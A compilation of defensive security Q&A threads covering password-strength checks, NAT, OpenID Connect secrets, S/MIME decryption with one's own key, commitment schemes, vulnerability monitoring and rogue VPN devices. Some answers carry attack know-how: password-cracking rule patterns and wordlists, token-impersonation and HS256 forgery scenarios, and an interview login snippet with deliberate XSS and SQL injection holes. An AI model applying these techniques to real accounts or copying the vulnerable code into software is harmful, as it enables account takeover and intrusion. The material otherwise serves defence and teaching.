Should I reject obviously poor passwords? UPDATE: My questions and concerns below boil down to: "Should I reject obviously poor passwords like 'hellomydarling' or 'password'? My guess is yes and I want to know to what extent. I'm using a password strength estimator to assist with that.

I have been doing research regarding usability verses security when it comes to password selection. I came across this very interesting quote I found on this Stack Exchange.

  "Security at the expense of usability comes at the expense of security"
  https://security.stackexchange.com/a/6116/39548

My thoughts and question stem from this. I am working on a prototype for a password strength meter that appears beside new password selection input fields (JsFiddle at the bottom).

The policy I have in place is to make my validator fail if the password is deemed "unusable" by me and to let "better" passwords through.

However, I am concerned about the effect of banning "teenagemutantninjaturtles" but letting "Password must be at least 8 characters" through. Both are bad passwords, but my prototype really only handles the first very well.

This password strength meter is based on Dan Wheeler's zxcvbn "realistic password estimation library" available from https://github.com/lowe/zxcvbn and discussed in detail here: https://tech.dropbox.com/2012/04/zxcvbn-realistic-password-strength-estimation/

I like zxcvbn because it actually uses a dictionary to help identify weak or poor passwords. However, I believe it is too forgiving of plain text pass phrases. For example, it's stock implementation will award the highest possible score (4/4) for 'teenagemutantninjaturtles'.

However, Dan Goodwin at Ars Technica has pointed out that without true randomness, pass phrases aren't turning out to be very effective to thwart motivated attackers ( http://arstechnica.com/security/2013/10/how-the-bible-and-youtube-are-fueling-the-next-frontier-of-password-cracking/2/ ).

So that is why I'm attempting to bolster the behavior of the password strength meter by finding passwords that easily match the zxcvbn's dictionary and simply mark them as "unusable".

For your reference, we disclose that the minimum password length is 6 (even though they suck) and the maximum is 50 chars. There are no other restrictions or requirements. We do not disclose the precise reason why the password is unusable (e.g. it matches a dictionary word, or is to simple, or matches a pattern, etc) although we do provide hints such as those examples.

Here are my actual questions:

Considering that it's very hard for password strength meters to properly evaluate 'good' passwords from 'poor' passwords, when thinking about human behavior and security...

Is it worth it to even include a password strength estimator?
Is it worth trying to bolster the existing library with stricter
rules?
Am I just going frustrate my users when I ban a password they
think is a good idea? (I'm worried this will potentially cause them to either give up or copy there password to their monitor, etc).
If it is not a good idea, what's the best way to alert users and stop the worst possible passwords?

Note: I am not trying to invent my own security protocol. Once we get the password over https, we store it using via bcrypt with a high cost/iteration. For the sake of argument, let's pretend like this is the only security problem I have left to solve (which it is not).

I am simply trying to encourage better password use for our users.

JsFiddle:

I've copied over my work in progress to a jsFiddle, where my own changes are in the script part (and zxcvbn is an included resource).

http://jsfiddle.net/wsKEy/1/

There's also a lot of commentary and work done to make the password strength meter more usable, which is why there are timers and stuff going on, too.

Thank you for your thoughts.

Is it worth it to even include a password strength estimator?

A strength meter?  No, because it is too difficult to inform normal users that the "strength" listed is an absolute maximum possible strength, and that their password may be trivially crackable by a skilled opponent no matter what the meter says, while still asking they pay attention to the meter.

A known-weak-password warning?  Absolutely!  If you can detect that a password is weak, then it's weak.  You merely cannot possibly detect whether or not a password is strong, since your software won't have realtime access to the latest in cracking dictionaries, rulesets, and other advances (Markov chains, etc.)

  Is it worth trying to bolster the existing library with stricter rules?

Yes!  Go take a look at Hashcat for the types of rules it supports, and note that when you have the plaintext user password, it's easy to apply many rules.

You can handle all the uppercase/lowercase rules with a simple UPPER() equivalent and an all-uppercase dictionary - if you find it, it's weak.  (JacQueLinE)
Appending/prepending numbers purely to meet length minimums is a simple pattern match - if the last/first N characters are numbers, and the remaining length isn't enough, it's weak. (Riddick123)
Remove N numbers from the beginning/end, uppercase it, and check the dictionary for the remainder (JacQueLine12)
The above, but N-1 numbers and/or symbols (#1JacQueLine)
The above, but date formats. (JacQueLine02121995)
If the last/first N-1 characters are numbers and the last/first is a symbol, and the remaining length isn't enough, it's weak. (!JacQueLine1)
Take out one character at a time, see if it matches the dictionary.  (jacqu$eline)
Combine some of these.
Reverse all of these.

Do a pattern-match for dictionary words as subsets, i.e.

correcthorsebatterystaple

correct: 1813th most common English word, row 16828 on phpbb, row
9871 on Ubuntu american english small.
horse: 1291st most common English word, row 14820 on phpbb (horses is
at row 1723!), row 21607 on Ubuntu american english small.
battery: 3226th most common English word, row 7775 on phpbb, row 3644
on Ubuntu american english small.
staple: 6 characters, all lower case, not in the top 5000 most common
words. row 40524 on phpbb (staples is at row 3852!), row 42634 on
Ubuntu american english small.

Note that all of these are length 7 or less words; there are less than 21,000 length 7 or less words in Ubuntu's american english small dictionary, 21000^4 ~= 1.9E17, which is more or less 2^58 for a very simple "combinator attack: 4 words, no separators, length 1-7, from this one small dictionary".

Certainly correcthorsebattery would be a much, much weaker password against a combinator attack - 3226^3 ~= 3.3E10 ~= 2^35, using the top 3226 most common English words.

Get some better dictionaries; don't try to send them to the client, host them and the more complex rules serverside.  Sure, send the client a tiny one for a first pass, but you need more.  Phpbb is the best common small wordlist I know of, then add in rockyou.  Many crackers start with brute force for tiny passwords, then small wordlists and large rulesets, then large wordlists - the largest I'm aware of is over 30GB, and includes almost every password found to have been cracked by anyone on a given popular forum, plus many, many other large wordlists.

Find yourself a happy medium - fast enough to be performant, large enough and with enough "rules" to cut out the first few fast passes of cracking software - if you really are using enough bcrypt iterations, then only small dictionaries + large rulesets and large dictionaries + small rulesets will be practical attacks for a few years.

  Am I just going frustrate my users when I ban a password they think is a good idea? (I'm worried this will potentially cause them to either give up or copy there password to their monitor, etc).

Yes.  When you say "password", "Password", "P@$$w0rd", "P@$$w0rd1", "P@$$w0rd123", and even "P@$$w0rd123!" are bad passwords, you're going to annoy them.  When you say "Jennifer2007" is a bad password, they're going to be frustrated (and perhaps Jennifer will be upset, too!).  Manage their frustration as best you can, and simply accept some.  Personally, I would recommend actually being explicit - tell them their password is a word in known cracking dictionaries plus two numbers, which is a normal cracking rule!

Your purpose is twofold.  First, you don't want weak passwords in your system.    Second, you want to educate users on what a weak password is, so they have some understanding to mitigate their frustration.

As part of educating, perhaps show them some alternatives you generate that pass your own tests, if you flunk their password.

1) Fully random passwords

2) Fully random passwords translated into bubblebabble or another pronounceable subset

3) correcthorsebatterystaple type passwords, but with longer and uncommon words.  For instance, take the Ubuntu american english insane dictionary, subtract out all the words in the american english small dictionary, and select N words of at least 7 characters in length.  This leaves you without any really short words, and without the most common words.

4) a mix of 1, 2, and/or 3.

Then your users can, if they choose, simply pick something you showed them (over HTTPS with the best cipher suites you can get away with, of course).

Personally, I would also strongly suggest raising your length limit; about 14 is what I would recommend, but for most userbases that's just too long.  Try a minimum of 12 or even 10, enough so a fully random password might have a slight amount of value at the minimum length and character set.


Vulnerabilities of pure NAT without firewall Following some of the comments on this question, I was curious about the security vulnerabilities of NAT. There are similar threads here and here but they discuss router vulnerabilities rather than NAT vulnerabilities directly.

So imagine I have a router directly connected to the internet, the router has no configuration not explicitly required for the operation of NAT. The router also has no direct vulnerabilities in the ports it might expose (i.e. it has a well engineered HTTP interface with a strong password policy / lockout). There is also no port forwarding enabled on the router. Obviously it also has no Wireless networking attached etc.

The only attacks that are possible are directly across the internet, and no traffic from behind the NAT device will visit a site controlled by you.

In this configuration is there any way for an attacker to connect to a machine on the other side of the router.

I realise that this is a highly theoretical question that security is never about attacking a single thing. Attacks are always about finding the weakest link in a system. However, without those theoretical questions we'd know the vulnerabilities we need to protect against.

(If I'm entirely honest though, this question is as much about saying 'prove it' to those who say that NAT provides no security at all)

As an extension to the above question, which of the rules above would need to be removed or adjusted to create a realistic attack vector.

Since NAT allows only replies to outbound connection no direct attacks from outside to inside are possible. But simple denial of service attacks are still possible. And while (D)DOS does not affect the inside network directly it can lead to a denial of critical services which need the access to the outside, like phone (VoIP) or smart home services.

  ...and no traffic from behind the NAT device will visit a site controlled by you.

At least if you use a browser behind such a firewall this assumption is probably wrong because you could simple include a link to a local IP address in an external website or make an external hostname resolve to an internal IP address. This is actually used in practice by Spotify and others for non-attack purposes, but can of course be also used for attacks to circumvent same original policy or to compromise the router from inside.


Should I trust a website which breaks when I use a complex password? A website "broke" after I changed my password to something like  "NÌÿÖÏï£Ø¥üQ¢¨¼Ü9¨ÝIÇÅbÍm". I was unable to log in, and customer service deleted my account and had me create a new one. Does this imply security flaws in the site's code? Should I worry about my credentials?

Obviously I'm using a password manager, and the website only allows me to reserve seats in a cinema, so the credentials are not of much value.

Your description is that the site fails to properly validate their input.  This (weakly) implies a deep flaw in their code.  If your input had simply choked their routine that calls PBKDF2(), then your password hash might not have been reproducible; but I would expect a simple password reset should have been adequate to clear up that problem.  Deleting your account might indicate that your account record was corrupt; however, deleting accounts might simply be their response to anyone who has a password problem due to unexpected user input.  They might even be trying to actively thwart hackers with this response.

Also, flawed doesn't necessarily mean their site is vulnerable.  The defective code would need to be exploitable, and you didn't supply evidence of that.  Such evidence might include erratic behavior or inexplicably changed values.

If you decide to press further, perhaps testing individual password characters to isolate the glyph that caused their site to lock your account, know that they would be within their rights to consider those attempts to be a hacking attack.  Seek the site owner's permission before experimenting.

Note that if instead of using high-bit-set characters, you construct your password from 16 cryptographically random, high-bit-unset, standard, ordinary, printable ASCII alphanumeric characters, the practical difference to your password's security will be irrelevant.


What is the worst I can do, if I know OpenId Connect client secret? This plugin to kubectl helps to setup OpenId Connect authentication for clients to connect to a kubernetes cluster.

In order for this to work for me authenticating against a cluster, the administrator have to hand me oidc-issuer-url, oidc-client-id and oidc-client-secret so that the tool can do its job authenticating me with OpenId Connect.

The administrator also will have to hand out the same data to all other users of the cluster.

If this secret is leaked, what's worst the attacker can do? If I understand this correctly, they should not be able to access the cluster, as the secret will only allow them to supply their own identity that normally would not have any permissions. Anything else?

Let's assume that I have the client secret of an application legit.app.org, and I can create a malicious application bad.app.org, with the issuer being oidc.app.org.

If I can convince a user to connect to bad.app.org using oidc.app.org I will be able to receive the tokens for this user associated with the legit.app.org credential. So If I use those tokens to connect to legit.app.org I will be able to impersonate the user.

Thankfully, there's a second layer of protection which is that the legit.app.org will have to register valid redirect_uris. Requests usign legit.app.org client_id/client_secret will have to use one of those registered redirect_uri, and the auth server is supposed to do an exact match. So with bad.app.org I'll also have to somehow "control" a redirect_uri considered as valid for the client_id/client_secret of legit.app.org to be able to intercept valid tokens.

Note that most of the auth services allow to either revoke client_secret and get a new one. Last but not least, if somehow you need to include a client_secret in an unsafe app like a SPA or mobile app, the solution is to use PKCE instead of regular client_secret.

PS: forgot to add that if you use HS256 instead of RS256 to sign the token id, it's the client secret which is used to sign the id token. See https://openid.net/specs/openid-connect-core-1_0.html#Signing. So basically you can emit falsely signed id tokens and if the client accept symmetric signed keys with no iss check, you can impersonate anybody. Obviously that's why you shouldn't use JWT authentication with symmetric algorithm


What does it actually mean when someone says their website is hacked? I have seen many people say that their website has been hacked using some vulnerability.  I never fully understood what this means.

To me the only way to get control of website is get the FTP details.

So, I presume hacking means that some other person got the FTP details somehow.  Is this correct?

This is a very broad question. The word "hacked" is not very descriptive; a technical person is more likely to describe specifically what happened. Usually "my site has been hacked" is used to mean "My website/webserver is doing something bad/unwanted/surprising."

Here are some ways this can happen:

The attacker gains access to the web server (the operating system or web server application itself). This can be by guessing or stealing the various credentials used by the server administrators (FTP, SSH, SQL, etc etc.)
The attacker manipulates the existing web page to make it do something unintended. This could be via methods like SQL Injection or Cross-site Scripting vulnerabilities. See a more detailed list at the Open Web Application Security Project (OWASP)
The web server is behaving normally, but the user(s) or administrators don't understand what it is doing, and think it has been "hacked". In 2006, CentOS was threatened with "an official complaint to the FBI" by a city manager who mistook an Apache Web Server configuration page for a successful hack.

Please clarify or ask further questions if there is anything you don't understand. It's a very broad topic!


How do private photos get stolen? I'm not referring to any of the below:

A spiteful partner sharing private photos of the other after editing themselves out.
Someone stealing photos from a professional photographer/artist without permission.
Enthusiasts leaking their own private photos/videos to make news.

I guess they're stolen from an insecure system which is connected to the internet/intranet.  How do they get stolen from mobile-phones and handy-cams?  Are the service centers playing any role during routine services?

How can I be extra careful to avoid such a mess?

Just curious...

Often times compromised passwords are the most direct route.  If someone's e-mail account or online storage get compromised, then anything in them is up for grabs.  This is the purported way that many leaks occur.  There are lots of others ways that it could happen, but those are probably the most common after "intentionally leaked for publicity".


Openvas - exploiting result I am an IT administrator and I try at present to secure my network. I have made an analysis of safety with OpenVAS on one computer, and I have difficulty exploiting the result :

Vulnerability Detection Result

Distributed Computing Environment (DCE) services running on the remote host
can be enumerated by connecting on port 135 and doing the appropriate queries.

An attacker may use this fact to gain more knowledge
about the remote host.

Here is the list of DCE services running on this host:

Port: 49152/tcp

UUID: d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49152]

Port: 49153/tcp

UUID: f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49153]
Annotation: Event log TCPIP

UUID: 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49153]
Annotation: NRP server endpoint

UUID: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49153]
Annotation: DHCPv6 Client LRPC Endpoint

UUID: 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49153]
Annotation: DHCP Client LRPC Endpoint

UUID: 06bba54a-be05-49f9-b0a0-30f790261023, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49153]
Annotation: Security Center

Port: 49154/tcp

UUID: 86d35949-83c9-4044-b424-db363231fd0c, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]

UUID: 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]
Annotation: IP Transition Configuration endpoint

UUID: 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]
Annotation: XactSrv service

UUID: 201ef99a-7fa0-444c-9399-19ba84f12a1a, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]
Annotation: AppInfo

UUID: 5f54ce7d-5b79-4175-8584-cb65313a0e98, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]
Annotation: AppInfo

UUID: fd7a0523-dc70-43dd-9b2e-9c5ed48225b1, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]
Annotation: AppInfo

UUID: 58e604e8-9adb-4d2e-a464-3b0683fb1480, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49154]
Annotation: AppInfo

Port: 49155/tcp

UUID: 12345778-1234-abcd-ef00-0123456789ac, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49155]
Named pipe : lsass
Win32 service or process : lsass.exe
Description : SAM access

Port: 49169/tcp

UUID: 367abb81-9844-35f1-ad32-98f038001003, version 2
Endpoint: ncacn_ip_tcp:192.168.1.30[49169]

Port: 49177/tcp

UUID: 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49177]
Annotation: Spooler function endpoint

UUID: ae33069b-a2a8-46ee-a235-ddfd339be281, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49177]
Annotation: Spooler base remote object endpoint

UUID: 76f03f96-cdfd-44fc-a22c-64950a001209, version 1
Endpoint: ncacn_ip_tcp:192.168.1.30[49177]
Annotation: Spooler function endpoint

Solution : filter incoming traffic to this port(s).

Solution

filter incoming traffic to this port.
Vulnerability Detection Method

Details: DCE Services Enumeration (OID: 1.3.6.1.4.1.25623.1.0.10736)

Version used: $Revision: 41 $

How can I verify all services?
Is the computer infected by one or several viruses?

An important thing to note about Vulnerability scanners such as OpenVAS and Nessus, is that not all of the things they report are easily exploitable vulnerabilities.

In a lot of cases all they are doing is providing information about a host which could be useful to the tester or attacker in understanding the system and allowing them to execute other attacks.

In this case what you're seeing is an enumeration of Windows services which are accessible via DCE, there's nothing in that finding to say that they're vulnerable, and what you're seeing is quite typical for a local windows server (if that port (135/TCP) is open to the Internet, that would be a bit concerning as that's rarely needed or a good idea)

Verifying those services would be most easily done by reviewing the services running on the host with appropriate credentials, and stopping/disabling any which are not needed for the operation of the service.

As to your second point, there is nothing in that output which would appear to clearly indicate that your machine is infected by a virus.


Proof of information having been created before it is released I have been thinking about the following use-case: some institution wants to organize bets about an outcome that is of its own choosing. The timeline is as follows:

The organization chooses the outcome at time T. Bets are open about what the outcome is.
At time T + N, the decision that the institution made at time T is released, resolving the bets.

For example, we can imagine some TV channel hosting a gambling platform about what characters are going to die in the next season, which has already been written but not yet broadcasted.

The problem is to find a way for the organization to prove that the information it releases at time T + N has effectively been chosen, and not altered since, time T. That is, of course, without releasing the information itself at time T. This ensures, notably, that the organization cannot retroactively chose the outcome to profit in some way from the trend the bets have taken.

My proposal is as follows:

At time T, the organization chooses a random key that it keeps secret. It computes a HMAC of the outcome with the secret key, and publishes it.
At time T + N, the organization releases both the outcome and the secret key.

People can verify that the HMAC is correct, and it is ensured that the published outcome was indeed the one chosen at time T because it would be computationally infeasible to target the published HMAC with another pair of (outcome, key) for a different outcome and key.

Is this sound and correct? Especially the last part in bold? It seems to me that this is basically equivalent to a preimage attack on the hash function with a known prefix for the preimage?

As usual there is already a wide range of solutions for this particular problem.

Abstracted this is called a commitment scheme. WikiPedia cites Oded Goldreich with this quote for a short explanation:

  [A commitment scheme] allows one to commit to a chosen value (or
  chosen statement) while keeping it hidden to others, with the ability
  to reveal the committed value later.

There are various forms or implementations of this: one commonly used (for instance by WikiLeaks) are so called pre-commitment hashes. These hashes are checksums (md5, sha256, ..) of encrypted files. Individuals can download the files but cannot open them until the distributor of the file gives out the password. This way the distributor is - as Goldreich says - able to commit to a value while keeping it hidden.


How does one monitor published vulnerabilities in a small development team? We are a relatively small web development company with limited resources, but want to be able to stay on top of any announcements that may impact the security of our servers. After some searching, we have come to the conclusion that most sources of information (e.g. mailing lists, APIs built around CVE's) normally fall into two main categories:

Too broad and noisy such that our small team can't keep up.
Too specific, such that we would miss out on important information.

The one list we found which is an absolute must is the ubuntu-security-announce list, given that we run Ubuntu LTS versions on our servers. However the one thing that this is missing (from our perspective) is vulnerabilities in things other than software, such as protocols. The classic example is POODLE (CVE-2014-3566), for which the archives to not seem to contain anything relating to this at all (searching for CVE and browsing archives in Oct 2014). We'll continue to subscribe to ubuntu-security-announce though, because for important software bugs such as Heartbleed do appear.

Are people aware of web-security focused publications/mailing-lists which provide a curated list of recent vulnerabilities to supplement our subscription to ubuntu-security-announce?

Some good examples that we've found via other questions on this stackexchange site are:

us-cert bulletins (somewhat noisy, but well organised)
perfsonar vulnerability archives (extremely curated, and thus seems good at listing only the really big ticket items)
bugtraq mailing list (extremely noisy for a small software dev team)
cvedetails custom filters (difficult to know what to monitor for a general web-dev team)

Apologies if this seems a little broad, I'm happy to reword to make it suitable, as I believe there would be many other small dev teams looking for the same information and finding it difficult to know how best to keep on top of such a deluge of security information.

At scale, it's best to continuously vet your automation, but the most-important part: automation

For RHEL, CentOS, Fedora, et al there's yum-cron. You can even specify security-severity:Critical if you only want critical patches.

For Debian, Ubuntu, etc there's unattended-upgrades with similar concepts.

If you build applications or install custom apps, ensure you are covered there as well. Additionally, there's infrastructure to ensure patching. Automate it as much as possible. People will argue that this can break things. That's why I recommend you automate as much as possible -- but not so much that you break things. If you are only automatically installing critical security patches, then you are way less-likely to break things. Figure out how to automate it at least that much. Even if you have a policy to not directly automate without human approval -- automate gathering all of the information, download the patches, and have a push or pull mechanism, hair-trigger ready-to go.

OWASP has a lot of great integration capabilities via Dependency Check -- with even a web interface for it through this project -- https://www.owasp.org/index.php/OWASP_Dependency_Track_Project

One can integrate similar concepts to build servers and continuous-integration / continuous-deployment projects very easily. These environments are heavily-equipped for exactly this sort of automation. Many commercial solutions also exist -- it's easy to find them online.


Security certification of software products: what about libraries or third-party services? How the security certification works if the software uses third party libraries or services?

E.g., if someone would like to certify a software product following Common Criteria standard (let's say, CC EAL1). And the software uses:

1) authentication service provided by third party.

2) different libraries, e.g. for data encryption.

3) database for storing the data

Does the certification implies, that only CC EAL1 certified databases (including database driver and ORM framework), libraries and services could be used by certified software product?

If yes, how about the libraries that are not directly involved in the data processing, e.g. logging frameworks, or libraries that are used internally, e.g. JSON or XML parsing libraries and so on?

The Configuration Management scope (ALC_CMS class), mentioned in the Common Criteria Developers Guide (CC v3.1) describes, what should be included into the configuration list.

Starting with EAL2, parts that comprise the Target of Evaluation (TOE), should be provided in this list, including software modules and hardware components.

The following evaluator action is mentioned: "The evaluator will check that the configuration list includes the above listed configuration items and that these configuration items are uniquely referenced."


Did I miss any vulns here? I recently took a beating in a Security Engineer interview and I did not get any specific feedback on how I did. I'd like to re-ask the question to the community so I can polish up on these elements. My list of vulns found are below.
You are at a login page, two form elements User: / Password: Your username is Peter.
Upon Successful login of the app, you are directed to a page that says Hello 'Peter'. ( The source of 'Peter' on this page comes from the user variable populated at the login username form )
The generic code for this is as follows:
public String login( String user, String pass ) {
       if (pass == DB.lookup(user)){
            return "Hello " + user;
           }
       else { .....}
       }

What are all of the vulnerabilities present in this sample login application?

How would you fix them?

How would you store your passwords?

If you store them that way, by what mechanism do you recover the password to validate it against what the user typed into the password form?
Here is what I see so far:

XSS: The fact that user input (user) is pushed into the responding jsp page without going through an encoding library or validator means you are owned.
Fix: I would implement the sanitizer from the OWASP java encoder project into the HTML element.
I would store the passwords as a salted hash using bcrypt. A unique salt for each hashed password.

Nobody's yet explicitly mentioned that there's potential for SQL injection. The user string needs proper validation to ensure that its present and contains just a valid username.


SMIME email decryption key with OpenSSL I'd like to know if it's possible to use openssl command to retrieve and decrypt the key for encrypting/decryptig email content. I know I can decrypt the whole encrypted mail by something like this

openssl smime -decrypt -in enc_mail.eml -inkey recip_priv.pem > dec_mail.eml

However, I'd like to see the steps in between. If I understand the procedure right, the actual content of the email is being encrypted not by the recipient's pubkey, but with randomly generated key on sender's side. This key is then encrypted with recipient's pubkey and attached to the encrypted message. Am I right? Is it possible to use openssl to show me the attached encrypted key and decrypt it separately?

Thanks.

Yes you can.
This example uses openssl smime with the default RC2 CBC with a 40-bit key. The newer cms sub-command behaves slightly differently, and uses 3-DES by default. You probably shouldn't be using either of those algorithms to encrypt important data ;-)

There are two minor caveats: firstly, I'm also going to use a couple of other tools (though OpenSSL is used for all the heavy lifting), and secondly I'm going to make some assumptions about how the email was encrypted.

The en/decryption is along the lines of most RSA-using methods: use (slow, expensive) RSA to en/decrypt a symmetric key, and use the fast symmetric key to en/decrypt the real data. (See this question or this for more background).

Take your email, extract the P7M part, and decode it. If you have a single .p7m part that is base64 encoded you can do this easily with metamail:

$ metamail -wy enc_mail.eml

Save the P7M file. This is an ASN.1 DER encoded CMS (PKCS#7) file, so we can peek inside:

  $ dumpasn1 -tilda  smime.p7m
   0 1946: SEQUENCE {
   4    9: . OBJECT IDENTIFIER envelopedData (1 2 840 113549 1 7 3)
         : . . (PKCS #7)
  15 1931: . [0] {
                  [ .. certificate details and whatnot omitted ...]
 188   13: . . . . . SEQUENCE {
 190    9: . . . . . . OBJECT IDENTIFIER rsaEncryption (1 2 840 113549 1 1 1)
         : . . . . . . . (PKCS #1)
 201    0: . . . . . . NULL
         : . . . . . . }
 203  256: . . . . . OCTET STRING
         : . . . . . . A0 DA EA FB EA 1A 0F 81    ........
         : . . . . . . F4 30 9F 78 5C 9B A7 27    .0.x\..'
                       [ ... blob snipped ...]
 463 1483: . . . SEQUENCE {
 467    9: . . . . OBJECT IDENTIFIER data (1 2 840 113549 1 7 1)
         : . . . . . (PKCS #7)
 478   26: . . . . SEQUENCE {
 480    8: . . . . . OBJECT IDENTIFIER rc2CBC (1 2 840 113549 3 2)
         : . . . . . . (RSADSI encryptionAlgorithm)
 490   14: . . . . . SEQUENCE {
 492    2: . . . . . . INTEGER 160
 496    8: . . . . . . OCTET STRING 3E EA 0E 12 37 A8 56 70
         : . . . . . . }
         : . . . . . }
 506 1440: . . . . [0]
         : . . . . . A5 FF A1 70 2C AD 82 6A    ...p,..j
         : . . . . . C7 F0 84 E8 9E 93 8F 53    .......S
                     [... blob snipped ...]

I'm using dumpasn1 because openssl asn1parse is disinclined to display or dump the various blobs we're interested in. The structure of your email will vary from the above of course. Columns 1 and 2 are the offset and size of each (possibly nested) sub-structure.

The interesting parts are at offsets:

188 the RSA encryption details, followed at offset 203 by encrypted data
463 the S/MIME encryption details and parameters (RC2 CBC)
506 the encrypted blob

At offset 188 we can see RSA is used, followed by 256 bytes of data, so extract that data blob (offset 203) and convert it to binary:

$ dumpasn1 -a -203 smime.p7m | tail -qn +2 | xxd -r -p > rsa.bin

(Note starting offset -203 and the use of tail to skip over the first line of output. This is a little convoluted, but unfortunately both dumpasn1 and openssl asn1parse leave the type-length prefix intact when you try to slice and dice objects.)

Decrypt this data using RSA:

$ openssl rsautl -inkey recip_priv.pem -in rsa.bin -decrypt -out rc2key.bin
$ xxd -u -p  rc2key.bin
92F6EB53B1

In this case we get 5 bytes (40-bit) output, the symmetric key we need. The input was PKCS#1 v1.5 padded (see §8.1) for various reasons, hence the size disparity.

The main payload (email) is in the blob at offset 506, extract that to a file:

$ dumpasn1 -a -506 smime.p7m | tail -qn +2 | xxd -r -p > email.bin

Now here's the slightly tricky bit, for RC2 refer to section 6 of RFC 2268:

rc2CBC OBJECT IDENTIFIER
 ::= {iso(1) member-body(2) US(840) rsadsi(113549)
      encryptionAlgorithm(3) 2}

RC2-CBCParameter ::= CHOICE {
  iv IV,
  params SEQUENCE {
    version RC2Version,
    iv IV
  }
}

RC2Version ::= INTEGER -- 1-1024
IV ::= OCTET STRING -- 8 octets

This explains the data structure at offset 490:

 480    8: . . . . . OBJECT IDENTIFIER rc2CBC (1 2 840 113549 3 2)
         : . . . . . . (RSADSI encryptionAlgorithm)
 490   14: . . . . . SEQUENCE {
 492    2: . . . . . . INTEGER 160
 496    8: . . . . . . OCTET STRING 3E EA 0E 12 37 A8 56 70
         : . . . . . . }

(You can confirm that RC2Version 160 (0xa0) matches key size 40 bit (0x28) in the EKB table.)

So, putting it all together: the S/MIME encryption algorithm (RC2 40 bit CBC, offset 480), the RC2 key (decrypted from blob at offset 203), the RC2 IV (not encrypted, offset 496) and the encrypted payload (offset 506):

$ openssl enc -d -rc2-40-cbc -in email.bin -out email.txt -K 92F6EB53B1 -iv 3EEA0E1237A85670

and email.txt should be what you're looking for.

Tips:

make sure not to use an ancient version of xxd, it may mangle input hex data
the structure, sizes and offsets will of course vary by message, keys and algorithm
I find openssl enc -kfile ... does not work, stick to -K
openssl smime may have modified your message before encryption (CRLF requirements)
berdump is a handy tool as its output is more amenable to further processing. Since DER is a subset of BER, you can point it directly at a PKCS#7 DER file


What is the benefit of adding data encrypting key then store it (encrypted) along with data To protect user's sensitive data, I am considering the following 2 approaches:

Create 1 data encrypting key (DEK) for each user, use it to encrypt
(using AES CBC mode with a random IV for each encryption operation)
all data of the same user. DEK is protected and stored separately
from data.
Use multiple DEKs, 1 each time a new piece of user data needs to be encrypted (using AES/CBC with IVs like above). The DEK is then
ecrypted using a KEK corresponding to that user, and stored side by
side (e.g. same row in database) with the data that is ecrypted with
it. The KEK is stored securely, separatedly from the data and DEK.

Is there known vulnerabilities in AES/CBC with good random IVs? What is the benefit of the 2nd approach, other than minimizing the amount of data encrypted with the same key, thus reduce the risk of being cryptanalyzed?

I'll give you a concrete example of when / why it makes sense to store the (encrypted) key alongside the data (I happen to have the tab open from answering another question, so why not?):

Android Full Disk Encryption.

In a nutshell: When you turn Android Disk Encryption on, it generates an AES-128 key which it uses to encrypt the drive (called the master key). It then takes your Pattern / PIN / Password and uses that to derive a second AES-128 key which it uses to encrypt and store the master key on disk. You know how the first thing Android does during boot-up is ask for your PIN / Password? That's because it needs it to decrypt the master key so that it can decrypt and mount the main filesystem. The reason for having two AES-128 keys is that if you change your Pattern / PIN / Password, it just has to re-encrypt the master key file, not the whole disk.

Another good use-case is data in transit, for example S/MIME or PGP:

Encrypting large amounts of text / attachment data with an asymmetric cipher (like RSA) is really slow, so what we do is encrypt the bulk data with AES using a random key and IV, then encrypt these with the recipient's RSA public key and attach the encrypted AES key and IV to the massage.

In reference to your point 2.: the exact reason for this choice probably depends on the specific use-case, but one advantage that comes to mind is that you can reveal the key for one row to somebody - for example an auditor - without compromising any other rows in the table. You can also send the data to someone without needing to do the work of decrypting / re-encrypting it (a big saving if the data is large, or you have real-time requirements).


Mifare DESFire EV1 UID Uniqueness? I'm currently investigating the Mifare DESFire EV1 card and would like to know if there are the same issues with the UID as there were with the classic?

Are the DESFire UID truely unique or have so many been made that UIDs are being duplicated?

Thanks.

Just a note, when Random UID is enabled on an EV1 it switches from 7-byte UID to 4-byte UID, with the first byte always being 0x80.

This means that you have only 24 bits of entropy. This should not matter however as by selecting Random UID, you should no longer care about the uniqueness or integrity of the UID that is received during anti-collision because it will always change.

Instead, you can retrieve the original 7-byte UID by calling the GetCardUID command.


How can the connection of a rogue VPN router be countermeasured with a sniffer? As an IT admin, what can I do to countermeasure an attack performed like this page explains?
http://www.pivpn.net/2015/08/hide-your-ass-hide-by-mac-address-and.html

What they do is to put a raspberry pi running SSL VPN software on the inside of the office network with a virtual interface connecting to a cloud server with a dynamic DNS name.
The external VPN client then connects to the cloud server too, linking up with the virtual interface.

The interface on the raspberry is blocking all incoming traffic except the created link from the VPN server to the cloud.

Of course, this means that they have access to your network, but as far as I can see, nmap is not figuring it out.

The best way to mitigate this attack is likely to have good knowledge of the systems on your internal network and control access as much as possible.

One common way to address this is to make use of things like 802.1x authentication for endpoints, such that connecting a rogue system to the network will not provide an IP address and the connectivity that this attack would require.

You could also introduce authentication for web traffic on a proxy server and block all unauthenticated attempts to get access.

Also you could do monitoring of your Internet traffic to look for unusual traffic patterns.  A node maintaining a VPN would be sending traffic 24/7 so should show up as anomalous if it was placed in a location that generally only had users present from 9-5 say.

